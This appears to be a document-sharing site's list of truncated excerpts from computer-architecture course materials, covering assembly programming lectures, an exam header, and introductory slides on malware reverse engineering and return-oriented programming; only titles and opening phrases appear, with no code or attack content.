Introduction Efficient software development for the microprocessor requires a complete familiarity with the addressing modes employed by each instruction. This chapter explains the operation of the stack
Assembly Programmer s View Lecture 4A Machine-Level Programming I: Introduction
Assembly Programmer s View Lecture 4A Machine-Level Programming I: Introduction E I P CPU isters Condition Codes Addresses Data Instructions Memory Object Code Program Data OS Data Topics Assembly Programmer
/ 30 Q3: Arithmetic instructions / 30 Q4: Logical instructions / 20 TOTAL SCORE / 100 Q5: EXTRA CREDIT / 10
EECE.3170: Microprocessor Systems Design I Spring 2016 Exam 1 February 19, 2016 Name: Section (circle 1): 201 (MWF 9-9:50) 202 (MWF 10-10:50) For this exam, you may use a calculator and one 8.5 x 11 double-sided
T Reverse Engineering Malware: Static Analysis I
T-110.6220 Reverse Engineering Malware: Static Analysis I Antti Tikkanen, F-Secure Corporation Protecting the irreplaceable f-secure.com Representing Data 2 Binary Numbers 1 0 1 1 Nibble B 1 0 1 1 1 1
CPS104 Recitation: Assembly Programming
CPS104 Recitation: Assembly Programming Alexandru Duțu 1 Facts OS kernel and embedded software engineers use assembly for some parts of their code some OSes had their entire GUIs written in assembly in
Machine-level Representation of Programs. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University
Machine-level Representation of Programs Jin-Soo Kim (jinsookim@skku.edu) Computer Systems Laboratory Sungkyunkwan University http://csl.skku.edu Program? 짬뽕라면 준비시간 :10 분, 조리시간 :10 분 재료라면 1개, 스프 1봉지, 오징어
CS24: INTRODUCTION TO COMPUTING SYSTEMS. Spring 2018 Lecture 4
CS24: INTRODUCTION TO COMPUTING SYSTEMS Spring 2018 Lecture 4 LAST TIME Enhanced our processor design in several ways Added branching support Allows programs where work is proportional to the input values
22 Assembly Language for Intel-Based Computers, 4th Edition. 3. Each edge is a transition from one state to another, caused by some input.
22 Assembly Language for Intel-Based Computers, 4th Edition 6.6 Application: Finite-State Machines 1. A directed graph (also known as a diagraph). 2. Each node is a state. 3. Each edge is a transition
CSC 591 Systems Attacks and Defenses Return-into-libc & ROP
CSC 591 Systems Attacks and Defenses Return-into-libc & ROP Alexandros Kapravelos akaprav@ncsu.edu NOEXEC (W^X) 0xFFFFFF Stack Heap BSS Data 0x000000 Code RW RX Deployment Linux (via PaX patches) OpenBSD